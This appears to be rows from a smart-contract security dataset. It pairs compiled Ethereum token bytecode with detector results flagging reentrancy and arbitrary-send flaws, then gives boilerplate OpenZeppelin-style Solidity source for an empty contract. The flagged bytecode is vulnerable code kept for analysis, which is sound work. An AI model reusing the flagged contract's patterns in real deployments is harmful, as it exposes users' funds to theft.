13d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220816ad88a733966bcef404d3d7061158756720126cfb3621bc49c030929683d2b64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,640
0xdd74d8d7fc84546b119e2443014fcb120293b927
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract VestTokens { }
0x6080604052600080fdfea264697066735822122097f549d23f707ab8b0f0f693e8805b6f6f715e770a90f6533a5da8c19c560c6d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,641
0xd18c034dd907343e0ffdee7c3f4797957b9fd232
